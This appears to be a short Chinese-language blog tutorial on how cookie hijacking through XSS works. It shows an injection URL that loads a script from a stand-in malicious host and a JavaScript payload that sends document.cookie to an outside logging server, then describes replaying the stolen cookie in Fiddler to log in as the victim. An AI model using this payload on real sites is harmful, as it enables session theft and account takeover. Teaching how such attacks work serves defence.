說說劫持 Cookie 的原理

deniro發表於2019-04-06

說說劫持 Cookie 的原理

完成具體功能的惡意指令碼(javaScript、Flash 等)稱為 XSS Payload。黑客會通過這些指令碼,來控制使用者的瀏覽器。劫持 Cookie 就是一種 XSS Payload。

Cookie 中,一般加密存放著當前使用者的登陸憑證。如果 Cookie 被劫持,那麼黑客就可以不使用密碼,直接登陸到使用者的賬號中。

1 竊取 Cookie

首先先在存在 XSS 漏洞的網站,載入一段遠端指令碼,形如:

http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script>
複製程式碼

XSS Payload 寫在 malice.js 中,這樣就可以避免直接在 URL 引數中寫入大量的指令碼程式碼。

malice.js 內容:

var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
複製程式碼

escape() 函式可對字串進行編碼,這樣就可以在所有的計算機上讀取該字串。

在此,我們動態建立了一個圖片標籤,並把 cookie 引數作為物件,傳送給後端伺服器。

說說劫持 Cookie 的原理

這樣就完成了竊取 Cookie 的整個過程。

2 利用 Cookie 登陸賬戶

一個網站,如果還未登入,一般在右上角有個 “登入” 連結:

說說劫持 Cookie 的原理

假設已經得到了某個賬戶的 Cookie 資訊,那麼就可以在 Fiddler 中,模擬 Get 請求:

說說劫持 Cookie 的原理

然後就可以成功登陸網站咯:

說說劫持 Cookie 的原理

說說劫持 Cookie 的原理

相關文章